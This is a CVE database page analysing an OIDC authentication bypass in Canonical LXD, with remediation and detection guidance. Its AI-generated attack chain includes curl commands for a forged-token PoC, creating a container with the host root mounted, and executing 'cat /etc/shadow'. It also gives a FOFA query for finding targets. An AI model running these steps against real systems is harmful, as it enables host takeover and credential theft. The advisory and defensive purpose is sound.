CVE Professor
/
All CVEs
CVE-2026-135384

CVE-2026-135384 — Canonical LXD (5.0.12) — CWE-287

CRITICAL CVSS 9.2 ⚡ EPSS 0.7% CVE.org

Improper authentication in OIDC bearer token verification in Canonical LXD before 5.0.12, 5.21.10, 6.10.2 allows a remote attacker holding a token signed by the configured identity provider to authenticate to the LXD API and gain unauthorized control or impersonate users via presenting tokens issued for other applications, ID tokens, or unverified email claims.

Improper authentication in OIDC bearer token verification in Canonical LXD before 5.0.12, 5.21.10, 6.10.2 allows a remote attacker holding a token signed by the configured identity provider to authenticate to the LXD API and gain unauthorized control or impersonate users via presenting tokens issued for other applications, ID tokens, or unverified email claims.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Attack Vector Network AV:N
Attack Complexity High AC:H
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
EPSS — Exploit Prediction Scoring System
0.7%
30-day probability
In the 48. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Critical Improper Authentication (CWE-287) flaw in Canonical LXD, specifically within its OpenID Connect (OIDC) bearer token verification logic.

Technical Flaw Analysis:
LXD acts as a container manager that can integrate with external Identity Providers (IdP) via OIDC. When an administrator configures LXD to accept OIDC tokens, LXD is responsible for validating these tokens before granting API access. The vulnerability arises because LXD (in versions prior to 5.0.12, 5.21.10, and 6.10.2) fails to strictly validate the audience (aud) claim and the token type of the presented JWT.

Specifically, the flaw allows:
1. Audience Mismatch: An attacker can present a valid JWT signed by the trusted IdP, but issued for a different application (different aud value). LXD incorrectly accepts this token as valid for its own API.
2. Token Type Confusion: LXD may accept ID Tokens (intended for client-side verification of user identity) as valid Access Tokens for API authorization.
3. Unverified Claims: LXD may trust email claims or other user attributes without verifying them against the IdP's userinfo endpoint or strict claim validation policies, allowing impersonation.

CVSS 4.0 Context:

  • AV:N / PR:N / UI:N: The attack is network-based, requires no prior authentication, and no user interaction.

  • AC:H (High Complexity): The attacker must possess a valid token from the same* IdP but intended for a different service. This implies the IdP is shared across multiple applications, or the attacker has compromised a legitimate user's session in another app.
  • VC:H / VI:H / VA:H: Successful exploitation leads to High impact on Confidentiality, Integrity, and Availability of the LXD instance. Since LXD manages containers, this effectively grants root-equivalent control over the host's container runtime.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Service Identification: The attacker scans for the LXD API port (default 8443).
  • Version Fingerprinting: Using curl or nmap scripts, the attacker identifies the LXD version. For example:
  • curl -k https://target:8443/1.0/
        # Response header or body may reveal version, or use:
        curl -k https://target:8443/1.0/ -H "Accept: application/json" | jq '.metadata'
  • OIDC Configuration Check: The attacker determines if OIDC is enabled. This can be inferred if the API rejects standard API keys but accepts Authorization: Bearer <JWT> headers, or by examining public documentation or misconfigured endpoints that leak OIDC client IDs.
  • IdP Reconnaissance: The attacker identifies the configured Identity Provider (e.g., Keycloak, Auth0, Azure AD). They need to obtain a valid JWT from this IdP for any* application registered with it. This could be achieved by: * Compromising a low-privilege user account in another application using the same IdP. * Intercepting a token from a legitimate user (e.g., via XSS in another app). * Using a publicly available token if the IdP has misconfigured token issuance.

    2. Exploitation

    The attacker crafts a request to the LXD API using a JWT that is valid for a different audience.

    Illustrative PoC (Note: Exact endpoint paths may vary slightly by LXD version, but the core API structure is consistent):

    # 1. Obtain a valid JWT from the IdP for a DIFFERENT application (e.g., 'web-app')
    # Example token structure (simplified):
    # {
    #   "iss": "https://idp.example.com/realms/master",
    #   "aud": "web-app",  # <-- WRONG AUDIENCE for LXD
    #   "sub": "user123",
    #   "email": "[email protected]",
    #   "exp": 1735689600,
    #   "iat": 1735686000,
    #   "jti": "abc123"
    # }
    # Signed with the IdP's private key.
    
    ATTACKER_TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlLmNvbS9yZWFsbXMvbWFzdGVyIiwiYXVkIjoid2ViLWFwcCIsInN1YiI6InVzZXIxMjMiLCJlbWFpbCI6ImF0dGFja2VyQGV2aWwuY29tIiwiZXhwIjoxNzM1Njg5NjAwLCJpYXQiOjE3MzU2ODYwMDAsImp0aSI6ImFiYzEyMyJ9.SIGNATURE"
    
    # 2. Send the token to the LXD API
    # The LXD API should reject this because 'aud' != 'lxd-client' (or whatever LXD's client ID is)
    # But due to the bug, it accepts it.
    
    curl -k https://target:8443/1.0/ \
      -H "Authorization: Bearer $ATTACKER_TOKEN" \
      -H "Accept: application/json"

    Expected Vulnerable Response:

    {
      "type": "sync-response",
      "status": "Success",
      "status_code": 200,
      "metadata": {
        "api_status": "operational",
        "api_version": "1.0",
        "auth_methods": ["oidc"],
        "public_address": "https://target:8443",
        "server_name": "lxd-server",
        "version": "5.0.11"
      }
    }

    If the response is 200 OK and returns valid API metadata, the authentication bypass is confirmed.

    3. Post-Exploitation

    Once authenticated, the attacker has full control over the LXD API, which is equivalent to root access on the LXD host (since LXD containers run with high privileges by default).

    Actions:
    1. Create a Malicious Container:

    curl -k https://target:8443/1.0/images \
          -X POST \
          -H "Authorization: Bearer $ATTACKER_TOKEN" \
          -H "Content-Type: application/json" \
          -d '{
            "type": "image",
            "properties": {
              "architecture": "x86_64",
              "os": "ubuntu",
              "release": "22.04"
            }
          }'

    2. Launch Container with Host Mounts:

    curl -k https://target:8443/1.0/containers \
          -X POST \
          -H "Authorization: Bearer $ATTACKER_TOKEN" \
          -H "Content-Type: application/json" \
          -d '{
            "name": "evil-container",
            "config": {
              "image.os": "ubuntu",
              "image.release": "22.04"
            },
            "devices": {
              "root": {
                "path": "/",
                "pool": "default",
                "type": "disk"
              },
              "host-root": {
                "path": "/",
                "source": "/",
                "type": "disk"
              }
            }
          }'

    3. Execute Commands / RCE:

    curl -k https://target:8443/1.0/containers/evil-container/exec \
          -X POST \
          -H "Authorization: Bearer $ATTACKER_TOKEN" \
          -H "Content-Type: application/json" \
          -d '{
            "command": ["/bin/sh", "-c", "id && cat /etc/shadow"],
            "environment": {}
          }'

    This allows the attacker to read sensitive files, install rootkits, pivot to the host network, or exfiltrate data from other containers.

    🌍 Real World Impact

  • Confidentiality (High): The attacker can read all data within LXD-managed containers, including secrets, databases, and application code. They can also access the LXD host's filesystem if host mounts are enabled (common in development environments).
  • Integrity (High): The attacker can modify container configurations, inject malicious code into running containers, or alter LXD's own configuration files.
  • Availability (High): The attacker can delete containers, stop services, or exhaust resources (CPU, memory, disk) by spawning malicious containers, leading to a Denial of Service.
  • Practical Consequences:
  • * Data Breach: Exfiltration of sensitive data from containers. * Lateral Movement: Using the compromised LXD host as a foothold to attack other systems on the network. * Supply Chain Attack: Tampering with container images or configurations to persist in the environment. * Ransomware: Encrypting container volumes or host data.

    🛡️ Remediation & Mitigation

    1. Patching (Primary Remediation)

    Upgrade LXD to the fixed versions:
  • LXD 5.0.12 or later
  • LXD 5.21.10 or later
  • LXD 6.10.2 or later
  • Command to upgrade (Ubuntu/Debian):

    sudo apt update
    sudo apt upgrade lxd

    2. Workarounds (If Immediate Patching is Not Possible)

  • Disable OIDC Authentication: If OIDC is not strictly required, disable it in the LXD configuration.
  • lxd config unset core.oidc_client_id
        lxd config unset core.oidc_issuer
        lxd config unset core.oidc_public_key

    Then restart LXD:

    sudo systemctl restart lxd
  • Restrict Network Access: Use firewall rules to restrict access to the LXD API port (8443) to only trusted internal networks or specific IP addresses.
  • # Example: Allow only from 10.0.0.0/24
        sudo ufw allow from 10.0.0.0/24 to any port 8443 proto tcp
        sudo ufw deny 8443
  • WAF/ModSecurity Rule (Illustrative):
  • While WAFs are not ideal for API authentication bypass, a rule can be added to reject JWTs with unexpected aud claims if the LXD client ID is known.
    # ModSecurity Rule (Illustrative)
        SecRule REQUEST_HEADERS:Authorization "@rx Bearer\ eyJ" \
          "id:100001,\
           phase:2,\
           pass,\
           t:none,\
           setvar:tx.jwt_token=+1"
    
        # Decode JWT payload (requires modsec_json or similar)
        # Check if 'aud' matches expected LXD client ID
        SecRule TX:JWT_AUDIENCE "!@streq lxd-client" \
          "id:100002,\
           phase:2,\
           deny,\
           status:401,\
           msg:'JWT Audience Mismatch',\
           log"

    Note: This is complex and error-prone. Patching is strongly preferred.

    3. Detection

  • Log Monitoring: Monitor LXD logs (/var/log/lxd/lxd.log) for authentication events. Look for successful logins with tokens that have aud claims different from the configured LXD client ID.
  • IoCs:
  • * Unusual container creation events (e.g., containers with host mounts). * API requests to /1.0/containers or /1.0/images from unexpected IP addresses. * JWTs with aud values not matching the LXD client ID in the Authorization header.
  • SIEM Rules:
  • index=lxd_logs "Authorization: Bearer" | 
        search "aud" NOT "lxd-client" | 
        stats count by src_ip, aud

    ⚠️ Urgency

  • CVSS Score: 9.2 (Critical)
  • CISA KEV: No (Not currently listed in Known Exploited Vulnerabilities catalog)
  • Exploit Complexity: High (Requires a valid token from the same IdP for a different app)
  • Patch Priority: HIGH
Recommendation: While the exploit complexity is high (requiring a valid token from the same IdP), the impact is severe (full control of LXD and potentially the host). If your environment uses OIDC with a shared IdP across multiple applications, this vulnerability is critically exploitable.

Action Plan:
1. Immediate: If OIDC is not essential, disable it.
2. Within 24-48 Hours: Upgrade LXD to the fixed versions.
3. Ongoing: Audit OIDC configurations to ensure strict audience validation and monitor for anomalous token usage.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Canonical LXD"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-135384
CVSS Score
9.2 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
Canonical:LXD (5.0.12)
References & Advisories (1)
Related CVEs
7.5
CVE-2026-45693
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, the static file c
5.4
CVE-2026-145190
Wiki.js 3.0.0 before 3.3.0 contains an authorization bypass vulnerability that allows authenticated users to m
5.4
CVE-2026-145192
Wiki.js 3.0.0 before 3.3.0 contains an authorization bypass vulnerability that allows authenticated users to c
7.1
CVE-2026-143090
In the Linux kernel, the following vulnerability has been resolved: xen/pvcalls: unwind pvcalls_new_active_so
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.3
CVE-2026-47677
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.3, there is an authe
8.7
CVE-2026-120762
Improper authorization in the push-publish bundle receiver (user import handler) in dotCMS versions before 26.